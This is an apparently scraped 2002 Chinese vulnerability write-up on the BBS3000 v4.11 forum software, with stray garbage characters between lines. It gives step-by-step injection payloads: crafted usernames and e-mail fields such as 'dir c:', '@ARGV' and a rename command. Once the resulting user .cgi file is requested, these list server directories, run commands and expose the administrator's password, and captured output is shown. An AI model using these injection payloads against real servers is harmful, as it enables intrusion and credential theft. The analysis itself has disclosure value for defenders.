窥探YUZI的BBS3000社区安全性--1

YES东

窥探YUZI的BBS3000社区安全性--1
  P5 C9 w3 p6 r- B/ Q4 X$ Y2 h文章类型：漏洞分析 文章加入时间：2002年1月24日22:24
8 W3 q2 c/ R5 X--------------------------------------------------------------------------------
- c4 a) h& \1 ?' ?1 l; `- _
# T$ k6 ]. b  j# m) w* t3 O: e2 C窥探YUZI的BBS3000社区安全性
—————————————————————————————————
badboy-club@21cn.com
部分漏洞提供者：
. ~; c' U$ @: W& f8 S8 Y+ Eadver
x.z
这并不是什么权威教材，只适合菜鸟了解某些免费提供的论坛程序存在的不
9 V: v; F( j7 M9 V8 o安全面，切莫用此方法在国内做尝试，如果你偏要如此，那么由此引起的一
( R/ G1 L8 M3 S切法律后果由你自己负责。
: ]7 z7 [/ A; V本文只允许在网络任意转载，但须保留文章的完整性，如把本文作为经济目
的使用，或者未经本人许可进行印刷、光盘杂志、等出版性质的行为，本人
% I% k* H5 d* O! {将保留侵权控告的权利。
) h2 [' m9 W) o. o' z$ }6 }—————————————————————————————————
第一篇
+ i& v! m  g+ H7 a! Z/ E+ C; R****基本漏洞测试*****
5 b, b4 U1 L2 U5 D4 ~8 }    YUZI的BBS3000被不少的国内个人站点和企业站点用来作为网友交流的论坛，
但不少用户很少去探测这论坛的安全性，使用者很大程度上信任作者，而实际上
这些免费的版本和汉化修改论坛，往往存在一些致命的漏洞，本文的目的在于揭
* `! Q* z8 Q3 r7 @% v. V9 v示该论坛不为人知的漏洞，让大家更好的使用这类论坛，并且保证自身资料的隐
蔽和服务器的安全。
测试版本:bbs3000 v4.11
4 N3 t; N9 e- t: o" I% G" t系统平台：win2k adv server=sp3 + iis 5.0  +ActivePerl 5.6.1.626
3 z# t9 ]$ e% i2 s8 [5 F; p: P应用程序映射:perl.exe %s %s 动作：GET,HEAD,POST
8 g" E5 i2 W6 h6 A        或者:perlIS.dll 动作：GET,HEAD,POST
: D1 }3 O" b9 B8 [  x- n7 z9 W测试情况：
! z% o) c5 V& P  U一、用户名为dir的漏洞
1 U' w. p. F7 v' W3 Z3 A1、采用应用程序映射:perl.exe %s %s应用程序映射
) Z% V# B; o# Z在站点建立一目录（或者虚拟目录）bbs3000,按论坛作者提供的说明书，默认安
装BBS3000 v4.11版本，我们注册一用户名为dir,密码为system,信箱为
5 v: v* w: X9 `. m: N1 \#badboy@badclub.org（#任意信箱都可以），然后我们在IE地址栏处输入：
; Q3 N/ D' q5 n" J; K9 Uhttp://192.168.0.1/bbs3000/yhzl/dir.cgi
F:\new\bbs3000\bbs3000 的目录
, q/ E1 N- t; ~" p/ b2002-01-16  19:26       <DIR>          .
2002-01-16  19:26       <DIR>          ..
* F( ~$ G8 \4 r' ]& g5 y9 e& q2002-01-16  22:42               43,247 bbs.cgi
2002-01-16  22:47               50,934 cjyh.cgi
% W# ~' a+ F3 k' f2002-01-16  22:43               38,551 bbs1.cgi
! |: ~8 K1 Z' r0 `( b5 f0 B9 N2002-01-16  22:48                6,401 cookie.cgi
2002-01-16  22:42                2,138 affiche.cgi
2002-01-16  22:43               22,434 bbs2.cgi
（以下略）
2 H6 t8 |( q2 ~- a. A/ q              34 个文件        417,611 字节
              15 个目录  1,830,944,768 可用字节

2、采用应用程序映射:perlIS.dll应用程序映射
* n7 u5 K- }: @, e; J. q得到的显示页面为：
" _7 U0 |! b# x4 O+ U2 }% g'F:\new\bbs3000\bbs3000\yhzl\dir.cgi' script produced no output
测试解释：在应用程序映射中，一个扩展名只能由一个程序去映射，在采用
perl.exe时，BBS3000存在查看网站目录和文件的漏洞，在采用perlIS.dll时，
" A( B2 D% R( E4 A( D" X7 S则有暴露网站在服务器上的绝对地址的漏洞。
! ~; b- ^& C: U  V; Z! N5 _二、用户名为system的漏洞
2 g& g: h  ^' ^# T1、采用应用程序映射:perl.exe %s %s应用程序映射
注册一用户名为system，密码为空格键（或者密码为system），信箱为
' v' }- k) C$ J9 {, M7 g2 Q) r'dir c:'#@badclub.org，然后我们在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/system.cgi
返回的页面显示为：
+ n( o# U- k  PC:\ 的目录
1 I' C4 g8 }3 V- U( o( C2001-11-27  20:56                1,002 FRUNLOG.TXT
2001-11-27  20:49       <DIR>          WINNT
（以下略）
/ X4 t" Y3 _- P- Q2 h* O              10 个文件         29,583 字节
               9 个目录    946,327,552 可用字节
8 A" S2 I0 }" c: O' {7 y当密码为其他时，则显示：
6 G' A- L0 U/ [5 VCGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
syntax error at F:\new\bbs3000\bbs3000\yhzl\system.cgi line 1, near
"1 system"Execution of F:\new\bbs3000\bbs3000\yhzl\system.cgi
$ Z, w( X5 T0 S4 n5 [" W0 U9 baborted due to compilation errors.
. G3 m- z& g- B) |8 i% V我们还可以这样测试用户名为system的情况，密码仍然为空格键
8 U- B! T! }; a. z（或者密码为system）但把信箱修改为＠ARGV##badboy@badclub.org，然后我
% _9 V  U2 }6 A, r; E们在IE地址栏内输入：
) T; U% C6 k6 `  Xhttp://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
4 g4 u6 o5 M8 B7 XD:\ 的目录
1 {) G% F7 O+ Q9 k( X( m2001-01-18  23:23       <DIR>          tools
2 j: N' B% B2 s, _0 d6 r2001-11-27  21:18       <DIR>          98tools
# d# V& a) K! S2 }0 \2001-04-08  13:08       <DIR>          W2Kreskit
2001-11-06  19:52       <DIR>          NOCDKEY-PROT
$ R1 i' P2 p/ a0 Z% {2001-12-01  21:32       <DIR>          WINNT
' v, ~' e( o" J4 Q3 \2001-12-01  21:39       <DIR>          Documents and Settings
/ d. y2 j- P8 S" x, Z/ c+ H8 N2001-12-01  21:41       <DIR>          Program Files
2001-12-01  21:53       <DIR>          Inetpub
2002-01-16  19:17       <DIR>          pl
: R/ z! N: A4 u1 I8 z( h! |（以下省略部分内容）   
# J$ |% _5 f6 q7 }+ b           12 个文件     15,068,818 字节
              15 个目录  2,371,317,760 可用字节
'0' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
2、采用应用程序映射:perlIS.dll应用程序映射
用户名为system，密码为空格键（或者密码为system），信箱为'dir c:'#@badclub.org，
$ ~& h  l8 {& u# `( [9 Z6 e然后我们在IE地址栏内输入：
; W5 p$ i7 w& \( M+ F; rhttp://192.168.0.1/bbs3000/yhzl/system.cgi
返回的页面显示为：
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
把信箱修改为＠ARGV##badboy@badclub.org，然后我们在IE地址栏内输入：
2 a& p" d  }( t0 D/ U7 [. k& ?http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
5 P) z, G2 p: F8 a; T8 Z'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
6 R" j2 b+ m* ~8 ?/ q' j三、用户名为;字符的情况
1、采用应用程序映射:perlIS.dll应用程序映射
- h  O6 _  l; K5 `6 j/ z4 w: d注册一用户名为;字符，密码为1，信箱为rename "badboy.cgi","badboy.txt";#@badclub.org ，
（这里假设badboy为该论坛的社区区长，也就是该论坛最大权限的用户），然后我们
4 w* T, e3 Z. E0 k# E; Z在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/;.cgi
返回的页面显示
'F:\new\bbs3000\bbs3000\yhzl\;.cgi' script produced no output
嗯，怎么还是和上面的perl.dll例子一样啊？？后面的就是关键了，你再输入这样
* D4 q$ M! b; x3 U# j/ f的看看
http://192.168.0.1/bbs3000/yhzl/badboy.txt
, q; {+ C+ I1 x+ S5 Z% d! e* _- u返回的页面显示为
* p/ F# e2 V+ L7 F7 L" i- Ubadpass badboy http://192.168.0.1 2002-01-16
+ s2 P5 A7 m9 I; W( u显示的内容前面就是密码、用户
天啊，事情怎么那么容易呀！！~_*
经测试，用户名为system密码为一个空格键（或者为system)，信箱为
5 ~: k9 J0 [$ H- F: t: Brename "badboy.cgi","badboy.txt";#@badclub.org 的时候，步骤和上面一样，同样
4 n4 i5 W# \' W9 n$ w可以获得相同的结果。
2、采用应用程序映射:perl.exe %s %s应用程序映射
/ s* B; U4 n/ B% j% n2 r$ ?用户名为;字符，密码为1，信箱为rename "badboy.cgi","badboy.txt";#@badclub.org
7 b3 m' y0 U( W" t" f+ X在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/;.cgi
返回的页面显示
# }- |) a7 S0 R" ^2 A/ Q& T' P( C- VCGI Error
: E  w) c- t% d1 Y" n- nThe specified CGI application misbehaved by not returning a complete set of HTTP
* l& V& q1 S/ O" x: X5 K' qheaders. The headers it did return are: